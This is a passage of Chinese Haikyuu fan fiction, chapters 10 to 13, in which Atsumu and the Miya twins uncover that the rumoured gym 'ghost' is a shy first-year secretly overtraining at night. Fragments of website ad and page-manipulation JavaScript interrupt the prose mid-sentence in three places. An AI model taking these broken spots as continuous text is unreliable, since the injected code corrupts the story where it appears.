宫侑余光瞥着他,自然一切表情变化尽收眼底,他抱臂、一派正经道,“除非请我吃便利店春季限定口味布丁才勉强算你过,不然——根本就没得……”
“——喂你等等!!!”
宫侑上一句话还没说完,就手忙脚乱呵止,差点从凳子上跌下来。
在他面前,原本还安安分分坐着的白木优生瞬间站起,一副要向医务室门口冲的迫切模样。
“手还没弄好你这家伙乱动什么啊!?”
白木优生愣了下,诚实道,“给、给前辈……买布丁?”
宫侑:“现在?”
白木优生乖乖点头。
“我都没这么急你怎么这么急啊!!”
站在那的灰发少年迟疑了下,而后还是小声道,“因为……想快一点和前辈道歉,然后…重修于好,这样…”
他声音越来越小,最后近乎细如蚊蝇,如果不仔细听根本听不清。
宫侑卡了下,刚刚因手忙脚乱而生的气缓缓泄去,复归回一种拿面前这家伙没办法的无奈上。
“现在我决定不要那个!”他任性别过头。
白木优生着急,“那我……”
“你坐下把复查处理完再说!”
“是、是!”
见证这一幕的校医沉默。
理石平介擦了擦不存在的汗,无比羡慕此刻一头栽在病床上睡得无声无息的宫治前辈。
总感觉……这种微妙的氛围感越来越强烈了,是错觉吗…?
白木优生坐下,老老实实向面色微笑的校医道了歉,继续复查。
宫侑继续盯。
气氛一时有些沉重。
白木优生试图缓解一下气氛,努力拣着宫侑的话说,“前辈刚刚……是还有什么要说的吗?”
宫侑摸了下下巴,视线落在他的左手上,之前被打岔,差点就这么漏过去,没想到这家伙居然自己提起。
但话到嘴边,望着灰发少年在校医几乎“咔哒咔哒”拧关节的力道下仍旧没什么表情,对待自己的身体仿佛冷淡看客,情绪波动指数甚至不如与旁人对话来的多。
宫侑突然就不那么想追问了。
‘什么啊……真是的,搞得在关心的只有他一个一样。’
说不上来的情绪莬丝子般攀上心脏,存在感微弱但又切实存在,宫侑又哼了声,情绪肉眼可见变坏。
‘他才没那么在意这个家伙呢!’
说不清出自什么心态,总之到了嘴边的话就这么跳了个话题。
“你——现在扣球总能扣下去了吧!再扣不下去完全就说不过去了啊!”
掩饰般,宫侑咳了声。
白木优生一直专注且耐心地等他开口,自然他说什么就是什么。
闻言,他踌躇了下,“应、应该吧……”
他不会说谎,所以一说谎就从方方面面表现出来。
譬如躲避的视线、侧过去的脸颊、不安的表情。
金毛狐狸眯起眼,“哈——?”
“抱、抱歉!”根本不禁吓的兔子后辈战战栗栗承认。
“还真的扣不下去??”
“是、是的……”
宫侑撇嘴,“一定是二队的仓山没有好好给你传球!我就知道那家伙藏私,肯定随随便便应付你了事了!”
当灯泡的理石平介默默生出种自己正处于孩子回家说自己没做好,结果护崽的监护人当即断定是老师教得不好的极度偏心现场。
白木优生努力解释,“不是那样的……仓山前辈托的球很好,是我……”
宫侑打断,直奔主题,“那你为什么还扣不下去?”
对面的灰发少年倏然哑声,他望着自己的手,校医已经复查完确认无事。
此刻掌心蜷缩,白木优生抿紧唇。
他……只有在宫侑的指令下,才能扣下球。
二队的仓山前辈不会命令他,即使在看见他扣不下去时,也只会露出点无奈的、对待后辈的宽容。
这是错误的,他知道。
因为病态的强求、凝结成了独特的方式,只有在确切指令出口的那一刻,身体才会给出反应。
国中的时候,长期冷处理、以及应需上场,当做工具对待时被迫形成的错误运行模式。
从那时起,接受到来自二传的命令、只剩下生理性的恶心。
但现在,来到了稻荷崎。
收到来自宫侑的指令……他却不会感到反感。
甚至,有些久违的轻松与开心。
……也只有宫侑前辈。
这是不对的,必须要有旁人的命令才能进行行动什么的…完全是依赖别人、逃避责任的胆小鬼的行为。
宫侑前辈,被他沾上的话,就糟糕了。
而且,前辈也一定会讨厌这样无时无刻都需要关注、相当于增加负担的另一人的存在。
白木优生沉默,没有吭声。
但宫侑打破了沉寂,他声音轻飘飘的、带着点拖延的尾音,懒懒散散,
“所以——意思是,只有我传球你才扣得下去?”
白木优生轻轻应了声。
“什么啊——”
他没有抬头,自然不知道宫侑此刻的表情。
只凭借自己的猜想与揣测,大概判断面前的二传前辈绝对会讨厌他这样的类型。
毕竟某种程度上也和‘巨婴’无差了。
极度挑剔的攻手,仅此一个二传绝对不需要其他人,甚至还高需求地需要明确指令,无时无刻不在向二传传达着‘看
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
向我’的诉求。
怎么想,都会很……
“我才不会这么轻易就给你传球呢!”
白木优生心脏一紧。
……就是这样。
“单独的一对一练习也根本不可能!”
他从不敢奢求那么多,能接到前辈的传球就已经很好了,一对一什么的……太奢侈了。
对于这样的他来说,无疑是被眷顾了才能拥有这样的机会。
白木优生越来越低垂,宫侑大声说话,像是刻意强调些什么,眼角余光始终瞥着笨蛋兔子后辈。
“你这样的家伙——还差得远呢!”
“想让我给他传球的家伙已经可以从兵库排队排到东京塔了!”宫侑夸夸其谈,狐狸鼻子越说越尖,
“每天只有扣球一千次、一万次才有机会见到我,让我给他托那么一次球,你已经够幸运的知道了吗!”
白木优生点头,真心觉得能遇见宫侑的自己已经十分幸运。
等了半晌,没有反应。
宫侑余光又瞥了眼低着头的兔子后辈,重重强调道,“你已经是个很幸运的家伙了,知道了吗!”
白木优生心中更加点头。
果然、他不能再强求更多,能这样偶尔上场、被前辈使用,他已经足够幸运。
如果不懂得知足、还想要更多,万一被收回这份幸运就糟糕了!
但是……
耐心又等了两分钟,倒计时结束、情绪down到地底的金毛狐狸欺负不了可怜的兔子,就只能愤愤一脚踢上躺在床上睡得不省人事的狐狸兄弟身上,
“喂别睡了猪,再睡下去口水都流出来了!”
惨遭迁怒的宫治自然不信他的鬼话,两眼一睁就坐起。
他盯着对面坐着的白木优生与宫侑看了半晌,而后慢吞吞打了个哈欠。
看了眼手机上的时间、无语道,“一个小时十七分,你废话这么久,终于决定走……唔唔唔!”
没说完的话当即被一只手掌死死捂住,宫侑皮笑肉不笑,“宫治这只猪没睡醒,别听他瞎说。”
白木优生还没听清说了什么,但他以宫侑为先,还是点头应声。
“我们要走了!”宫侑一摆手,拖着宫治就出门,他走过白木优生面前,故意停顿了下、重重踩了下脚。
白木优生乖乖让出路,“好、好的,前辈们再见。”
不知是不是错觉,他总感觉宫侑前辈的面色似乎更加糟糕了。
嗯……果然是错觉吧?
宫侑怒气冲冲推门而去,宫治落后一步,默默瞥了眼仍立在原地不明所以的某兔子,深感今晚耳朵也不得不被唠叨和碎碎念占满。
……想想都好心累。
单手插兜,他还是无奈跟上去了。
“……”
“那家伙是蠢猪吗!都已经说到第二次还是听不懂,笑死、我也不是那么想给他传球啊,他自己都不着急我着什么急,我可是稻荷崎第一二传,排队等我托球的家伙趋之若鹜,我一点都不想给笨蛋托球!”
“谁在意那种笨蛋,我一点都不想让他扣球,绝对只有比笨蛋更笨蛋的家伙才会关心他,对吧阿治!”
“——你怎么不说话,阿治!!”
宫治:“……”
好吵啊。
他敷衍应声,想起什么,“比起那个,喂、侑,刚刚说东京塔,还有什么扣球一千次一万次……”
宫侑怒而回头,“哈——当然是夸张,怎么连你也相信,不会吧不会吧?!”
……他当然不会。
只不过,听医务室的那段对话。
说不定会相信的,另有其人。
不管了,反正像今天这样特地蹲点,最后还颠颠跑去在意的又不是他。
11. 第十一章
“……喂喂、你们听说了吗,一馆那边据说最近一到晚上就有幽灵出没!!”
“欸真的假的、别又是什么新的校园怪谈吧?”
稻荷崎,更衣室,
隔着更衣柜换衣服的宫侑捕捉只言片语,狐狸耳朵高高竖起,余光装作不在意、实则默默去寻找出声的方向。
正是同样在换衣服的二馆队员,此刻聚在一起,小声地嘀嘀咕咕说些什么。
他们声音不大、靠得远了就听得有些模糊,宫侑看了眼换到一半的衣服,犹豫了下,蹭了点距离过去。
“我发誓我没有说谎!听隔壁班住校的秋田说,放学后人都走光了、结果一馆还有一盏灯亮在那!”
“欸——就是亮着灯而已啊,说不定是谁忘记关灯呢?”
“不不不!一馆最后闭馆的时候都会有高年级的前辈检查再走的!而且!秋田说他不仅看见亮起了灯、还有飘在空中的影子!”
“……喂,有点夸张了吧。”
说话的人小心翼翼瞥了眼周遭,像是怕被什么听到般压低声音,“并且他还听到了奇怪的撞击声和脚步声,感到疑惑,就靠近过去想看看,结果——”
“结果什么什么?别卖关子啊你这家伙!”
“结果那道诡异的影子就‘嗖——’地一下窜过来,直接来了个贴面杀!将秋田吓了个够呛!这不,今天也请假没来上课吗。”
“……啊。”
“喂,别堵在这。”
宫治声音兀然从身旁传来,成功正专心致志扒墙偷听的金毛狐狸吓得一个激灵。
狐狸炸毛,“阿治你走过来能不能出点声啊!怎么跟幽灵一样!”
宫治瞥了他眼,“我可不像某个家伙那么胆小。”
“——哈?”宫侑不爽,跳脚大闹,“我才没在害怕,什么幽灵不幽灵,完全不在话下——”
宫治:“哦。”
他伸出手,指了下,“你后面有人。”
“呃啊——!”
宫侑从头到脚寒毛耸立,以迅雷不及掩耳之势快速窜到宫治身侧、惊疑不定呼吸紊乱猛一回头。
刚好路过·感受到有人在看自己的白木优生不解,迈出的脚步不前不后卡在一半。
他微歪头、尝试理解了下,而后小心翼翼开口,
“是、是我怎么了吗……前辈?”
宫侑:“……”
他默默改换姿势,手臂曲起状似随意搭在宫治肩上,另一手置于唇侧咳了声,“前辈的事你这个后辈就不要管,去去、做你的事去吧!”
白木优生轻轻眨眼,乖乖应声,“好、好的。”
宫侑维持姿势、目送灰发少年离开更衣室,最后一抹发丝也消失门口,才猛地一口气喘出。
“可恶,那家伙也在的话,阿治你该早点告诉我啊!!”
宫治:“……早点告诉你干什么。”
宫侑理直气壮,“要是被看到那副狼狈的模样不是很糟糕吗!”
宫治忍了又忍,“难道你是什么孔雀吗?”
一对着人家就开屏、各种花里胡哨的。
以宫侑的智商显然没能理解这句话的更深层次含义。
他盯着宫治、良久,语重心长道,
“阿治,不要动脑子,用脑过度你会发烧的。”
破案了。
这家伙是猪。
两人一路拳打脚踢冲入一馆,其他人已经开始准备训练了。
进入球馆,宫侑脑中又不可控地响起刚刚在更衣室听到的话,他默默余光扫过球馆内任何有可能与‘幽灵’、‘影子’、‘灯’挂钩的地方,时不时狗狗祟祟左看右看。
他的反常表现十分明显,长眼睛的人就能看出来。
尾白阿兰关心后辈,“怎么了阿侑,今天一直在走神啊。”
宫侑逼近、窃窃私语神秘道,“阿兰前辈,你知道那个那个吗?”
尾白阿兰微笑但不解,“那个那个是指?”
“就是一馆的幽灵啊幽灵!!”
尾白阿兰:“?”
宫侑将在更衣室听到的对话一五一十全部倒出,不乏有凑热闹的人也扎堆过来听。
赤木路成托着下巴,评析道,“我觉得是假的,先不说其他的,一馆闭馆后就没人再能开灯了吧?而且校内还有保安巡逻,就算有什么也会发通知,根本不可能啦。”
“——可是那个什么秋田亲眼看见了甚至还被吓到没来上课!”
大耳练挠了挠头,“确定是亲眼看见吗?什么飘在空中的影子还有奇怪的声音,太像校园怪谈了吧……”
“二馆的那些人亲口这么说,绝对有问题!”
尾白阿兰沉默了下,“虽然说是这么说,不过……侑,你是不是表现得有点……嗯。”
他尝试将某躲在背后叽叽咕咕的金毛狐狸拎出来,但试了试、惨遭抵触,遗憾、只得作罢。
“在说什么?”
北的声音从背后冒出,他披着外套,平静望着扎堆在休息区的众人。
宫侑当即叽里咕噜又将刚刚自己说的话倒豆子般对着北说了一通。
北信介一开始只是耐心在听着,当听到宫侑口中的‘飘在口中的影子’、‘奇怪的碰撞声与脚步声’与‘开到很晚的灯’后眉头微微皱起,表情有了些变化。
宫侑见状,当即更加确定。
“——果然,北前辈也觉得一定有问题、对吧!”
北侧首,没有正面回答,只向众人道,“继续训练,今天结束后都早点回去。”
他说完后没有过多停留,朝着二队去了。
看模样应该也是提醒二队如此。
望着他的背影,其他人一时有些摸不着头脑。
按理说、以北信介的性格,对待这种一听上去就无中生有、荒谬不堪的传言逸闻绝对会理清讲明,杜绝无意义的恐慌在部内蔓延。
宫侑敏锐发现了这一点。
“话说起来,一馆的钥匙好像是在信介手里吧?”
“对、北队每天最早来开门,钥匙一般由他保管。”
赤木路成露出点思考的表情,“但这几天……好像不是信介他开的门啊?”
宫侑/宫治/角名:“……”
眼见着面前的几个后辈脸上一个比一个精彩,赤木路成立即找补,打哈哈道,“我只是疑惑一下,对、疑惑一下……”
“啊、那个啊!”尾白阿兰左手握拳猛地一敲掌心。
宫侑宫治齐齐看去,就见他恍然道,“好像是一年级的那个孩子开的门……我这两天和信介一起来有看见,说是家住的很近、早上起得早,就顺手先过来开门了,哈哈。”
“…一年级的?”
“家住的很近?”
尾白点头,“就是那个、那个之前……呃,”
他卡了下,视线飘着移到了宫侑面上,“阿侑你知道的那个孩子!!”
“白木…优生?”
“——对!就是他!!”
“……”
“那个、是找我…有什么事吗?”
白木优生声音低且轻,有些局促。
稻荷崎正选队伍此刻齐刷刷过来,一双双眼睛狐狸般直直盯着他。
让他情不自禁陷入一种难言的紧张情绪中。
……是他做错了什么吗?
白木优生茫然,他刚刚还在与二队的二传磨合扣球,扣到一半就被叫到一边说是要询问一点事情,结果就是被围着上下左右打量了个遍。
眼见着
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
兔子后辈耳朵蔫蔫、随情绪耷拉,整个人存在感越来越低,几乎要缩成一团,宫侑眯起眼,第一个开口,
“喂、你……我,呃我们有些问题要问你!”
白木优生乖乖看向他,眼睛一眨不眨,轻轻道,“好、好的。”
才构思好的一番话到了嘴边,一对上那双翡绿的透亮眼眸就忘了个干净。
宫侑卡了下。
他突如其来的沉默显然有点不太正常,旁边的宫治与尾白阿兰疑惑望了眼。
白木优生还在耐心等着,他向来对别人都充满耐心。
对宫侑,就更加如此。
宫治胳膊肘曲起重重捣了下,物理唤醒。
吃痛的宫侑内心狰狞,余光狠狠瞪了眼狐狸兄弟,但在兔子后辈面前、咬紧牙努力压抑住抽搐的表情,以一种自如的模样开口,
“你——你家难道住的很近吗?!”
宫治/尾白阿兰:“?”
……这家伙在干什么?
白木优生眨眨眼,“是、是的。”
宫侑哼了声,“我家也很近。”
“欸!这、这样吗…!”
宫侑洋洋得意,“所以——我可以比你到的更早!”
赤木路成以手捂面,拒绝继续看下去这段小学鸡对话。
宫治叹了口气,推开不知道在洋洋得意什么的宫侑,有事真上。
他直言道,“白木,最近每天第一个来开门的,是你吧?”
白木优生闻言,犹豫了下,“是的,前辈。”
宫治抓了抓后脑,“嘛……别紧张,就是想问你点东西。”
“……你来球馆开门的时候,有没有看到什么奇怪的、不同寻常的痕迹或景象之类?”
白木优生疑惑,虽然不解但还是尝试理解,“前辈指的是……?”
角名伦太郎简略插话,“幽灵,他们这么说。”
白木优生眼瞳睁大,“欸?!幽、幽灵?!”
“对,听二馆的人说……”尾白阿兰又重新将那堆话与这个看上去就很不经吓的一年级说了一遍。
为了照顾这个拥有脆弱心脏的孩子,他还特地模糊了其中的一些话,只挑重点道。
白木优生听完后面色有些苍白,他沉默了下,小心翼翼道,
“我是给大家……添麻烦了吗?”
“哈?这和你有什么关系!”
宫侑立即跳出,吵吵嚷嚷开口。
他转头逮着尾白阿兰一顿薅,十分护崽,“阿兰前辈,不要恐吓一年级啊!”
无缘由就被扣上‘恐吓’帽子的无辜尾白:?
宫治锐评,“猪。”
宫侑懒得理会他,“所以你更大声点说话、别总这么畏畏缩缩小心翼翼的,稻荷崎可没谁会欺负你!”
“抱、抱歉……”
“抱歉也禁止!”
“是!”
宫治:“……喂,话题扯远了。”
他深吸一口气,“所以,白木你知道什么……”
“——他只是一大早来开门,他能知道什么!”宫侑不甘插嘴,
“拜托,人家住得近过来开门本来就不容易,你们居然还要盘问!难道你们觉得这家伙会是什么幽灵吗!?”
他狠狠放话,转头就对上期期艾艾、可怜兮兮的灰毛兔子后辈。
白木优生眼瞳微睁,显然是被他的话惊到。
此刻专注无比看着、仿佛全世界都只有他一个人。
什、什么啊……总是这样在向人撒娇。
宫侑不自觉顿了下。
一点隐秘的想法窜上心头,羽毛一般搔挠着、痒痒的。
好、好像也不是不行,兔子幽灵什么的……
……怪可爱的。
12. 第十二章
“今天就早点回去吧。”
“好、好的。”
“记得好好休息,身体最重要。”
“是!”
北信介平静结束对话,与白木优生一起离开更衣室。
落后一步,白木优生轻轻缓出口气。
没想到……一馆居然传出了‘幽灵’传闻,而且还给排球部的前辈们造成了困扰。
好糟糕。
虽然之前…正选的前辈们过来问他,看起来似乎是想要打探什么,但是因为宫侑前辈突然说出的那番话,致使没能继续下去。
可白木优生心底还是十分在意。
‘幽灵’什么的,怎么想都很……
“怎么都聚在这里,今天的部活已经结束了。”北信介的声音兀然响起,白木优生闻声,立即抬头望去。
第一体育馆门口,正鬼鬼祟祟扎堆扎着几道身影。
打头阵的就是一头金毛的宫侑,他叠在几道身影最上,也是第一个反应过来,压着宫治的头就打了个哈哈,
“北前辈,我们马上、马上就回!”
宫治被他压了把,不耐瞥了眼,抓了抓头发对着北信介应道,“对、我们过会儿就回去。”
北信介看着宫侑和宫治,一个视线向左看、一个视线向右看,就是不敢正面看他。
他转脸,直视第三人,拿着手机的角名,言简意赅,“角名,你来说。”
角名瞥了眼身侧的双胞胎,又看了看北,思考不过两秒、原地倒戈,
“他们要在这守着,去等那个传闻中的‘幽灵’出没。”
北信介表情不变。
宫侑已经嘀嘀咕咕地开始抱怨起角名不讲信用。
余光一瞥,他瞥到北信介身后还有道身影。
对上视线,白木优生颤了下眼睫。
注意力当即调转,宫侑话到嘴边,陡然成了句尾音上扬的疑问,“你——不是已经走了吗?!”
白木优生:“!”
那、那个……宫侑前辈怎么知道?
准确地来说,他只是先离开球馆,然后预估着等所有人都差不多离开后再回来。
一般这个点,除了最后留下闭馆的北信介、是没有其他排球部的部员在的。
所以,也不会有人发现……
宫侑两步当一步跨过来,托着下巴眯起眼盯着他看了半晌,成功将白木优生看得冷汗涔涔。
该不会被发、发现了吧…?
宫侑倏然左手握拳一敲掌心,恍然道,“我知道了,你也是来等那个‘幽灵’的!”
白木优生犹豫了下,还是小小声为自己辩解了句,“不是的……”
“那你这么晚还不回家,在这干什么?”
白木优生话被一堵,说不下去了。
他这幅表现落在宫侑眼里就是不好意思。
什么啊,既然这么好奇就直接说出来嘛,他又不会对他多说什么。
宫侑眯起眼,轻哼了声,但到底还是给兔子后辈点喘息空间,不再追问下去。
北看了眼时间,又望了眼被宫侑缠着结结巴巴的白木优生,
“今天不会有‘幽灵’了,都回去吧。”
“欸——!!为什么!”
“为什么啊!!!”
几道讶然声交织混在一起,角落里,又出现几个鬼鬼祟祟的身影。
不出意外,三年级的尾白阿兰和赤木路成,以及凑热闹的银岛结,一下子全都被刺激得跳出来。
北信介视线扫过,其他人默默住嘴。
最终、在北的气场威慑下,即使再不甘心,也只能眼睁睁看着他锁上一馆的门,并监督着众人离开稻荷崎。
“……”
“——我觉得北前辈一定知道些什么!”
课间,宫侑跑到宫治的班上,信誓旦旦放话道。
宫治没什么情绪,翻了页最新刊的情热大陆,“……你怎么还在想这件事。”
“毕竟那可是‘幽灵’啊、‘幽灵’!”宫侑强调,环视四遭,“一想到要在有那种东西出没的一馆里练习,我的鸡皮疙瘩都要起来了!”
宫治:“但你这几天不还是练下来了吗。”
“那不一样——没能亲眼破除谣言,我不放心!”
宫治:“……”
“你不是害怕那种东西吗。”他陈述事实道,“真要亲眼去看见什么,到时候你又要嚷嚷着跑得比谁都快。”
“哈——?我才没……”宫侑刚想狡辩,就见坐在那的宫治站起,他谨慎道,“你要做什么。”
宫治:“你不是要找北前辈问个清楚,我去告诉北前辈。”
“不不不——”宫侑当即拒绝,“我的意思是……”
他声音越说越低,宫治从一开始漫不经心听着,听到最后用一种见鬼的视线望向他。
半晌沉默,他缓缓开口,“先说好,要是晚上错过了回家的班车,妈妈骂你我可不管。”
“才不会嘞!”
宫侑自信满满。
……
部活结束后的一个小时,是排球馆清空后锁门的时间。
因先前从二馆传出的‘幽灵’传闻,不少部员会刻意留下蹲守,只为一睹传闻真实性。
但后来在北队管控下,这种现象好转很多。
加上连续多日没有相关的‘幽灵’传闻与目击人证词,也就被大家当做是个校园怪谈抛掷脑后,逐渐没什么人在意。
时针又跳了一格,部活结束后的第二个小时。
一双手、拿起桌上的钥匙,轻轻推开门走向一馆。
他垂着脸,没什么表情,软软的灰栗发落在脸侧,遮住部分面颊。
熟练地打开上了锁的一馆大门,夜幕下的黑暗球馆无声无息亮起一盏灯。
进入馆内的人熟门熟路打开器材室,推出球框、绑上球网。
偌大馆内,静谧空旷,只有他一人。
翡绿色的眼瞳抬起,映出冷白光线。
托在掌心上的球向上抛起一段距离。
他脚步加快、向前抛起,跳跃,整个身体弯曲成弓。
左臂圈起、甩出圆满弧线,而后手掌重重砸在球上,球体因受外部施加无与伦比的重力冲击一瞬扭曲,扣球的人手背青筋凸起,左手狠力砸下这一记。
‘——砰!’
‘咚——!’
闷沉声响突兀响起,混杂着脚步声空荡回响。
白木优生落地,没有回头看球的落点,转身再次从球框里抓出一只球。
没有停顿再度助跑,他注视着被抛起的双色排球,耳畔响起难以忘却的声音。
‘——每天只有扣球一千次、一万次才有机会见到我,让我给他托那么一次球,你已经够幸运的知道了吗!’
一千次扣球,
二十秒一次,一分钟三次。
要完成一千次扣球需要六个小时。
一万次扣球,则需要六十个小时。
一天之内,他做不到一万次。
但一千次,可以努力去接近。
因为足够幸运,来到稻荷崎遇见了宫侑前辈,并拥有前辈给他托球的机会。
如前辈所说,他要珍惜。
现在,面对除前辈以外的二传的托球,扣下去还是困难的。
仿佛是认定了主人般,只有来自‘那个人’的命令,才能发挥出最大程度的力量。
这是与在玉犬时截然不同的感受。
被‘指令’支配,发挥出自己完全的力量,扣下那一球时满脑子只剩下‘好开心’。
在心底,他一边倾向于告诫着自己适可而止、不能不满足,一边又不可控地被支配着想要得到更多。
如果扣球一千次、一万次才能拥有被前辈托球的机会的话,他每天都会去做的。
从回避、抗拒上场,到接受、习惯现状,并期待、盼望着自己可以被使用的那一天。
但还不够。
他要将自己磨砺得足够锋锐、足够顺手。
这样…如果能幸运地得到被使用的机会,到那个时候……前辈、说不定会夸奖他吧?
他并不奢望能拥有一对一辅导或是专属托球的待遇,他想要的很少。
偶尔上场、偶尔被前辈使用、偶尔的夸奖或赞美。
如果可以,他很希望前辈会愿意摸摸他的头,夸夸他是个好孩子之类……
白木优生抿唇,缓缓握紧手中排球。
前几天因为‘幽灵’传闻,北前辈让他每天不要训练
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
到很晚,早点回家,才迫不得已停了几天。
所以现在,更加要全都补回来!
这样——他才能更好地成为前辈手中的武器,也就能更好地报答前辈对他的好意!
白木优生没有忘记宫侑所做的一切,无论是更衣室匿名的药物,面对玉犬时对他的回护,还有日常训练时的照料……
这让他生出一点不配得感,恨不得能将自己全然捧到对方面前。
——如果他能成为什么更有用的、对前辈更重要的东西就好了!
这样,他就能更好地报答这份不断冲刷的心情。
他一定可以的!
……
他觉得……他一定不可以。
“喂、你倒是动啊。”
“我知道…我知道……别催!”
窸窸窣窣的动静声响起,宫侑炸毛,草木皆兵。
双眼死死盯紧不打一声招呼突然亮起灯的一馆,他默默抓住身旁宫治的胳膊,声音细微颤抖,
“治……你看、看见…那个影、影子了吧……”
宫治此刻恨不得把身旁这个已经僵硬成石块的家伙丢出去。
都怪他,听信了他的鬼话。
结果两个人偷偷摸摸藏在排球馆后面,从放学后一直蹲到现在,就为了目睹那什么‘幽灵’传闻,差点被草丛里的蚊子吸成狐狸干。
现在好了,目睹是目睹到了,结果提出要看的家伙怕得要死,直接僵在那儿动都不敢动。
又菜又爱玩。
宫治一想到这个就头大,他不怕这些装神弄鬼的东西,当即就要起身过去打假。
谁知才起来一步,就被宫侑八爪鱼般死死缠着,“喂喂阿治……你、你不能丢下我一个人在这里!!”
宫治:“那你和我一起过去。”
宫侑:“我不!”
宫治:“那我一个人过去。”
宫侑:“我不!”
宫治沉默。
掰扯着卡死的胳膊,努力把自己在勒死前解救出来。
僵持间,一馆内不断传来奇怪的碰撞撞击声与脚步声,宫治回头望去,就见一道影子飘起而后又倏地下落,他瞳孔骤缩。
宫侑以手捂脸遮遮掩掩地看,只看到飘在空中的一道黑影。
宫侑:“!”
宫治察觉到什么,不妙开口,“喂、你……”
“——呃啊啊啊啊幽灵!!!”
“闭嘴!!”
宫治死死捂住宫侑的嘴,努力不让声音流出,他受到冲击,显然没有刚才那么沉静淡定。
该死、那里面的东西是人是鬼还不知道,要是吸引来对方就遭了!
他的心声显然没有传递到馆内。
他们躲的地方本来就离球馆不远,而且还是在窗户外面,馆内的东西只需飘近,隔着窗户一看便能锁定他们。
宫侑声音一出,馆内的黑影就开始挪动着往窗户靠近。
宫治屏气凝神,手掌下压、压制宫侑。
不会今天真要交代在这里了吧……
他紧紧盯着愈发靠近的浓黑阴影,看不明形状的触肢触碰窗户,一种要打开的动作。
“格叽格叽”的声音响起,代表这东西有思考能力、还会开窗。
宫治来不及思考更多,当即就要拽着宫侑一起往前奔。
……该死!
就不该答应这个笨蛋来探什么虚实,现在好了、真碰上了!
两人一前一后,来不及回头再看,拽着对方就一头扎着猛地就要向前冲。
随着“嘎呀——”一声,窗户终于被开启。
宫治宫侑根本不敢回头,冷汗涔涔、恨不得一步跨出十里远。
而用触肢掀开窗户的黑影抬起眼,眼中直直映出两道背对着他一猛子向前逃窜的身影。
借着光线、他辨认了下,迟疑开口,
“……是,前辈?”
宫治余光稍微回了点,瞥见什么,猛地顿住。
他一把攥住宫侑,
宫侑敢怒不敢言,狠狠回头。
两人回头望去。
三人同时对视。
一时空气寂静。
“……前、前辈?!”
“——白木!?”
13. 第十三章
“你!老实交代!这么晚还不走还待在球馆,你要做什么!”
“……”
第一体育馆,球馆正中。
白木优生两手抱着只球,被宫治宫侑一左一右夹在中间,有些局促地站在那。
宫侑单手插着腰,为了掩饰自己面上刚刚因‘幽灵’出没展现出的慌乱狼狈,刻意恶声恶气逼问。
白木优生视线游移,落在乱糟糟滚了满地的排球上,“没、没有做什么的……”
“哈——?”
宫侑提高声音,就见面前的灰发少年浑身一瑟缩。
白木优生手心出汗,几乎黏答答黏在手里那只排球上。
他心脏跳的剧烈,不安情绪疯涨。
糟、糟了……被前辈发现他私自占用球馆,而、而且…刚刚好像、还吓到了前辈。
‘幽灵’传闻什么的……
白木优生视力很好,即使在一片黑暗中也目睹到了两道向前疯跑、几乎魂不附体的背影。
现在道歉的话……会被前辈原谅吗?
小心翼翼挑起一点视线,他屏住呼吸、试探去看宫侑面上表情。
乍一抬眼,就对上‘恶狠狠’盯着他的金毛狐狸。
白木优生:“!”
胆怯的兔子后辈当即“嗖——”地一下低头缩回自己的角落不敢吱声。
宫侑还什么都没做,就见面前之人已经颤颤巍巍到恨不得把自己的存在缩到最小。
他不满。
这个时候知道害怕了,刚刚吓到人的时候怎么不知道。
——完全就是个一点都不让人省心的可恶家伙!
宫侑哼了声,“所以,二馆那些家伙口中一馆的‘幽灵’就是你,对吧。”
白木握紧排球,闷闷点头。
“那天秋田看见的飘在空中的影子也是你,是吧!”
白木优生低低应了声。
“和那家伙来了个贴面杀,直接吓了个够呛也是你做的?”
白木优生当即抬头,努力试图去解释,“不、不是那样的!”
他抬眼,就见宫侑正双手抱臂眯起眼看着他,一副审问等待回答的严肃模样。
白木优生更加紧张,视线情不自禁游移,小小声道,“那天……是看见有人过来…我才去开门……”
“然后?”
“然后…秋田前辈看见我过去,就转身跑…跑得太快,”白木优生顿了下,还是说完,
“没看清就……撞上了门口的消防栓。”
宫侑:“……”
宫治:“……”
他们好像知道了那是个什么场景。
如果不是白木及时出声,估计他们也会被那个开窗的影子吓个够呛。
白木优生小心补充,“然后…拜托门卫爷爷把秋田前辈送回寝室,因为撞得有点严重……所以前辈,第二天没有来上课。”
他捏紧掌心,担心面前的前辈会对自己生出不好的观感,“我、我后来有去和秋田前辈道过歉的……”
“……”
宫治只想叹气。
匪夷所思的一馆‘幽灵’传闻的真实模样居然是这样。
不过……倒也发现了些东西。
“一馆的钥匙是在北前辈那里保存,所以北前辈也知道,把钥匙交给你了?”宫治思考后道出。
白木优生点头,“是、是的。”
这就难怪了,听到‘幽灵’传闻后,北前辈是那种表情。
“最早到,第一个来开门,因为钥匙在你手上,不是因为什么家住的近,对吧。”
白木优生一顿,还是点了头。
见状,宫治没什么疑惑了。
他视线移动、停在支起的球网另一侧乱糟糟滚了满地的排球上。
特地留下来……加练吗。
“阿治,几点了!”
从刚刚宫治开口就一直没吭声的宫侑突然转头大声问道。
双手插兜望着那些排球的宫治慢吞吞收回视线,“你有手机,不会自己看?”
“给我报时间!报时间!”
宫治懒得和这个吵闹的家伙争辩,看了眼屏幕,“八点五十七。”
还有三分钟就到九点,部活结束后的第三个小时。
“喂,”宫侑转脸,没什么表情问道,“你要待到什么时候。”
白木优生愣了下,宫侑的话语判断不出语气如何,他只得乖乖作答。
“之前的话…应该,十一点半…这样。”
担心前辈会介意,他又立即开口,“离开的时候球馆我都打扫过,用过的球、早上来的时候我也会再擦一遍的!”
宫侑没在意那些,他只是又问了一句,“早上,几点来开门。”
白木优生捉摸不清,只好选择诚实,“五点……左右。”
“哈,还真是勤奋的早出晚归啊。”
宫侑话语从唇间溢出,视线定定落在乱糟糟的球场。
他看了半晌,视线挑到面前之人脸上。
白木优生倏然察觉气氛变化。
“好吧~好吧——现在就来好好解释一下吧,”
宫侑转头、微笑,“是哪个大脑没发育完善的家伙让你在这不惜浪费你那短暂又宝贵的休息时间,也要像个蠢蛋一样傻颠颠地——过度训练呢?”
宫治余光瞥了他眼。
嗯……皮笑肉不笑,在生气。
他这一长串夹杂了数个负面词汇的话语显然震住了白木优生。
“欸、欸…?”
大脑尚且还没反应过来,宫侑就已经开始虚空索敌,
